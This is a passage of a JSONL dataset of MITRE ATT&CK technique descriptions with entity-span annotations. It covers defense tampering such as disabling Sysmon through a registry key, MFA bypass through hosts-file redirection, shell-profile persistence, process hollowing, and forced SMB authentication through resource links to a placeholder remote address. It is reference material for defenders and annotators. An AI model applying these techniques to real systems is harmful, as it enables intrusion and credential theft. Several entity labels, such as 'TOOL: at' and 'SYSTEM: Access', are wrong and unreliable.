hide malicious files via File/Path Exclusions.\n\nAdversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational</code> may be modified to tamper with and potentially disable Sysmon logging. \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools. For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. Exploitation for Privilege Escalation), which may lead to bypassing anti-tampering features.", "spans": {"SYSTEM: Registry": [[224, 232]], "SYSTEM: Windows": [[626, 633], [973, 980], [1726, 1733], [2496, 2503]], "TOOL: Process Explorer": [[1021, 1037]], "SYSTEM: API": [[1989, 1992]], "ORGANIZATION: Microsoft": [[2135, 2144], [2486, 2495]], "TOOL: Sysmon": [[2348, 2354], [2504, 2510], [2585, 2591]], "TOOL: WMI": [[2462, 2465]], "TOOL: at": [[2803, 2805]], "SYSTEM: AWS": [[2939, 2942]], "SYSTEM: Google Cloud": [[2957, 2969]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1562.001"}}
{"text": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1565"}}
{"text": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows Dynamic Data Exchange or Component Object Model. Linux environments support several different IPC mechanisms, two of which being sockets and pipes. Higher level execution mediums, such as those of Command and Scripting Interpreters, may also leverage underlying IPC mechanisms. Adversaries may also use Remote Services such as Distributed Component Object Model to facilitate remote IPC execution.", "spans": {"SYSTEM: Windows": [[562, 569]], "SYSTEM: Exchange": [[583, 591]], "SYSTEM: Component Object Model": [[595, 617], [909, 931]], "SYSTEM: Linux": [[619, 624]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1559"}}
{"text": "Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1001"}}
{"text": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within cmd may be used to gather information.", "spans": {"TOOL: cmd": [[370, 373]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1039"}}
{"text": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control (Web Service), Exfiltration Over Web Service, or Phishing. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.", "spans": {"SYSTEM: GitHub": [[198, 204]], "SYSTEM: Dropbox": [[215, 222]], "ORGANIZATION: Google": [[224, 230], [629, 635]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1584.006"}}
{"text": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1601"}}
{"text": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.", "spans": {"SYSTEM: Windows": [[726, 733]], "SYSTEM: Registry": [[738, 746]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1574"}}
{"text": "Adversaries may attempt to blend in with legitimate traffic by spoofing browser and system attributes like operating system, system language, platform, user-agent string, resolution, time zone, etc.  The HTTP User-Agent request header is a string that lets servers and network peers identify the application, operating system, vendor, and/or version of the requesting user agent.\n\nAdversaries may gather this information through System Information Discovery or by users navigating to adversary-controlled websites, and then use that information to craft their web traffic to evade defenses.", "spans": {"SYSTEM: HTTP": [[204, 208]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.012"}}
{"text": "Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded programs (through the <code>struct lua_State</code>).\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.", "spans": {"TOOL: at": [[551, 553]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1059.011"}}
{"text": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.005"}}
{"text": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Resource Name or Location).", "spans": {"SYSTEM: Amazon Web Services": [[82, 101]], "SYSTEM: AWS": [[103, 106]], "ORGANIZATION: Amazon": [[108, 114]], "SYSTEM: Google Cloud": [[138, 150]], "SYSTEM: GCP": [[161, 164]], "SYSTEM: Azure": [[178, 183]], "SYSTEM: Docker": [[237, 243]], "SYSTEM: Access": [[521, 527]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1204.003"}}
{"text": "Adversaries may create or modify container or container cluster management tools that run as daemons, agents, or services on individual hosts. These include software for creating and managing individual containers, such as Docker and Podman, as well as container cluster node-level agents such as kubelet. By modifying these services, an adversary may be able to achieve persistence or escalate their privileges on a host.\n\nFor example, by using the `docker run` or `podman run` command with the `restart=always` directive, a container can be configured to persistently restart on the host. A user with access to the (rootful) docker command may also be able to escalate their privileges on the host.\n\nIn Kubernetes environments, DaemonSets allow an adversary to persistently Deploy Containers on all nodes, including ones added later to the cluster. Pods can also be deployed to specific nodes using the `nodeSelector` or `nodeName` fields in the pod spec.\n\nNote that containers can also be configured to run as Systemd Services.", "spans": {"SYSTEM: Docker": [[223, 229]], "SYSTEM: Kubernetes": [[705, 715]], "SYSTEM: Systemd": [[1013, 1020]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1543.005"}}
{"text": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.", "spans": {"SYSTEM: Access": [[96, 102], [401, 407]], "SYSTEM: Outlook": [[389, 396]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1078"}}
{"text": "Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088 or port 587 as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.\n\nAdversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.", "spans": {"SYSTEM: HTTPS": [[110, 115]], "SYSTEM: Registry": [[411, 419]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1571"}}
{"text": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona  on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: Spearphishing via Service).", "spans": {"ORGANIZATION: Facebook": [[573, 581]], "SYSTEM: Access": [[1120, 1126]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1585.001"}}
{"text": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.  \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.\n\nThis is very similar to Thread Local Storage but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[440, 447]], "SYSTEM: API": [[448, 451]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1055.012"}}
{"text": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.", "spans": {"TOOL: at": [[840, 842]], "SYSTEM: Access": [[1712, 1718]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1068"}}
{"text": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code. Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.\n\nAdversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.", "spans": {"TOOL: at": [[548, 550], [848, 850]], "TOOL: top": [[555, 558]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.009"}}
{"text": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts. Adversaries may also subsequently log off and/or perform a System Shutdown/Reboot to set malicious changes into place.\n\nIn Windows, Net utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> PowerShell cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the <code>passwd</code> utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as Data Destruction and Defacement, in order to impede incident response/recovery before completing the Data Encrypted for Impact objective.", "spans": {"SYSTEM: Windows": [[420, 427]], "TOOL: Net": [[429, 432]], "TOOL: PowerShell": [[508, 518]], "SYSTEM: Group Policy": [[614, 626]], "SYSTEM: Linux": [[631, 636]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1531"}}
{"text": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.", "spans": {"SYSTEM: SSH": [[814, 817]], "TOOL: Telnet": [[829, 835]], "TOOL: FTP": [[847, 850]], "SYSTEM: SMB": [[872, 875]], "SYSTEM: Samba": [[878, 883]], "SYSTEM: LDAP": [[906, 910]], "SYSTEM: Kerberos": [[923, 931]], "TOOL: RDP": [[943, 946]], "SYSTEM: HTTP": [[980, 984], [985, 989]], "SYSTEM: Oracle": [[1050, 1056]], "SYSTEM: MySQL": [[1070, 1075]], "TOOL: VNC": [[1089, 1092]], "SYSTEM: Office 365": [[1319, 1329]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1110.004"}}
{"text": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses. \n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.  Adversaries may also use compressed or archived scripts, such as JavaScript. \n\nPortions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.  Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. \n\nAdversaries may also abuse Command Obfuscation to obscure commands executed from payloads or directly via Command and Scripting Interpreter. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "spans": {"SYSTEM: Access": [[406, 412]], "SYSTEM: JavaScript": [[766, 776]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027"}}
{"text": "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as Multi-Factor Authentication Request Generation, adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA.  \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.", "spans": {"SYSTEM: Azure AD": [[491, 499]], "SYSTEM: Access": [[512, 518]], "SYSTEM: Windows": [[718, 725]], "FILEPATH: C:\\windows\\system32\\drivers\\etc\\hosts`)": [[739, 778]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1556.006"}}
{"text": "Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.", "spans": {"SYSTEM: Exchange": [[26, 34], [186, 194], [294, 302]], "SYSTEM: Office 365": [[43, 53], [313, 323]], "SYSTEM: Google Workspace": [[58, 74], [328, 344]], "MALWARE: MailSniper": [[411, 421]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1114.002"}}
{"text": "Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: <code>Get{Extension/Filter}Version</code>, <code>Http{Extension/Filter}Proc</code>, and (optionally) <code>Terminate{Extension/Filter}</code>. IIS modules may also be installed to extend IIS web servers.\n\nAdversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts.\n\nAdversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests.", "spans": {"SYSTEM: Internet Information Services": [[57, 86]], "SYSTEM: IIS": [[88, 91], [131, 134], [369, 372], [608, 611], [652, 655], [899, 902], [1130, 1133], [1176, 1179], [1309, 1312], [1456, 1459]], "SYSTEM: HTTP": [[994, 998], [1248, 1252], [1460, 1464]], "SYSTEM: .NET": [[1395, 1399]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1505.004"}}
{"text": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.\n\nUnlike Code Signing, this activity will not result in a valid signature.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1036.001"}}
{"text": "Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V), deploy lightweight emulators (ex: QEMU), or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.\n\nThreat actors may also leverage temporary virtualized environments such as the Windows Sandbox, which supports the use of `.wsb` configuration files for defining execution parameters. For example, the `<MappedFolder>` property supports the creation of a shared folder, while the `<LogonCommand>` property allows the specification of a payload.\n\nIn VMWare environments, adversaries may leverage the vCenter console to create new virtual machines. However, they may also create virtual machines directly on ESXi servers by running a valid `.vmx` file with the `/bin/vmx` utility. Adding this command to `/etc/rc.local.d/local.sh` (i.e., RC Scripts) will cause the VM to persistently restart. Creating a VM this way prevents it from appearing in the vCenter console or in the output to the `vim-cmd vmsvc/getallvms` command on the ESXi server, thereby hiding it from typical administrative activities.", "spans": {"SYSTEM: Hyper-V": [[734, 741]], "SYSTEM: QEMU": [[778, 782]], "SYSTEM: VirtualBox": [[844, 854]], "SYSTEM: Windows": [[1135, 1142]], "FILEPATH: /bin/vmx`": [[1615, 1624]], "FILEPATH: /etc/rc.local.d/local.sh`": [[1658, 1683]], "TOOL: cmd": [[1848, 1851]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1564.006"}}
{"text": "Adversaries may utilize polymorphic code (also known as metamorphic or mutating code) to evade detection. Polymorphic code is a type of software capable of changing its runtime footprint during code execution. With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools. \nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1027.014"}}
{"text": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code>  . Adversaries may also leverage a Network Device CLI on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).\n\nPassword policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS .", "spans": {"SYSTEM: Windows": [[659, 666]], "SYSTEM: Linux": [[668, 673]], "SYSTEM: macOS": [[679, 684]], "FILEPATH: /etc/pam.d/common-password": [[866, 892]], "SYSTEM: AWS": [[1268, 1271]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1201"}}
{"text": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.\n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546"}}
{"text": "Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (<code>/etc</code>) and the user’s home directory (<code>~/</code>) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code> files. These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>, or <code>~/.profile</code> which are sourced when a user opens a command-line interface or connects remotely. Since the system only executes the first existing file in the listed order, adversaries have used <code>~/.bash_profile</code> to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code> file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface. Some malware targets the termination of a program to trigger execution, adversaries can use the <code>~/.bash_logout</code> file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>, and <code>/etc/zlogin</code>. The login shell then configures the user environment with <code>~/.zprofile</code> and <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code> to configure the user environment. Upon exiting, <code>/etc/zlogout</code> and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes <code>/etc/bashrc</code> on startup.", "spans": {"SYSTEM: Unix": [[109, 113]], "TOOL: at": [[159, 161], [582, 584], [2067, 2069]], "SYSTEM: SSH": [[308, 311]], "FILEPATH: /etc/profile": [[521, 533], [1110, 1122], [2377, 2389]], "SYSTEM: Linux": [[1020, 1025]], "FILEPATH: /etc/profile.d": [[1140, 1154]], "SYSTEM: macOS": [[2098, 2103], [2196, 2201], [2784, 2789]], "FILEPATH: /etc/zshenv": [[2404, 2415]], "FILEPATH: /etc/zprofile": [[2430, 2443]], "FILEPATH: /etc/zlogin": [[2462, 2473]], "FILEPATH: /etc/zlogout": [[2701, 2713]], "FILEPATH: /etc/bashrc": [[2805, 2816]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1546.004"}}
{"text": "Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept.\n\nThe Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary  (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.\n\nThere are several different ways this can occur. Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.\n\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. 